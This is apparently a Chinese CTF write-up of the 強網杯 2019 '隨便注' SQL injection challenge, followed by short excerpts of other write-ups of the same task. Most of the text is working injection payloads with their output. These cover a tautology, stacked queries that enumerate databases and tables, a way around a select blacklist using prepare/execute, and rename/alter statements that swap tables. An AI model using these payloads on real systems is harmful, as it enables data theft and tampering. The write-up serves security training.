1' or 1=1--
,回顯了所有使用者資訊
union select 1,2
得到回顯
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
過濾了:
select
update
delete
drop
insert
where
繼續,由於過濾了select
,嘗試堆疊注入:
1';show databases;--
得到:
ctftraining information_schema mysql performance_schema supersqli test
繼續:
1';show tables;--
得到:
1919810931114514 words
繼續:
1';show columns from words;--
得到:
id data
繼續:
1';show columns from `1919810931114514`;--
回顯:
flag
no
flag
應該就是在這裡,但是這裡回顯的應該是words
表裡面的,並且後端邏輯應該是:
select * from words where id='$id'
所以我們現在要想辦法獲取1919810931114514
表裡的資料:
1';sel/**/ect flag fr/**/om `1919810931114514`;--
不可
接下來使用預編譯:
1';set @x=concat('sel','ect ','flag from `1919810931114514`');prepare s from @x;execute s;--
另外還有一種,利用rename
和alter
,
1』;rename table words to word1;rename table 1919810931114514 to words;alter table words add id int unsigned not null auto_increment primary key; alert table words change flag data varchar(100);#
這種方法是用rename
將1919810931114514
重新命名為words
,使系統查詢到的資料直接變成我們想要的flag
。 強網杯 2019 隨便注
知識點 原理參考堆疊注入詳解 開啟題目,如圖所示 嘗試 1 union select 1,2 發現select被禁 嘗試堆疊注入 查庫 查表 查1919810931114514表的列名 1 show columns from 1919810931114514 這裡表名使用反引號進行包含 應該就是從1...
強網杯 2019 隨便注
題目 開啟後如下,比較典型的一道sql注入題目 輸入1 發現會返回一些資料,所以可以嘗試一下堆疊注入。堆疊注入 試一下,查詢資料庫 1 show databases 發現可以將資料庫都顯示出來,說明可行 再試試查詢表,回顯兩個表 1 show tables 查詢所有表 然後繼續訪問表中的列 1 sh...
強網杯 2019 隨便注
根據題目嘗試sql注入,單引號報錯,單引號加注釋無報錯,說明存在sql注入,當測試輸入select時返回過濾的黑名單 return preg match select update delete drop insert where i inject 這道題使用的是堆疊注入,原理 在sql中,分號 是...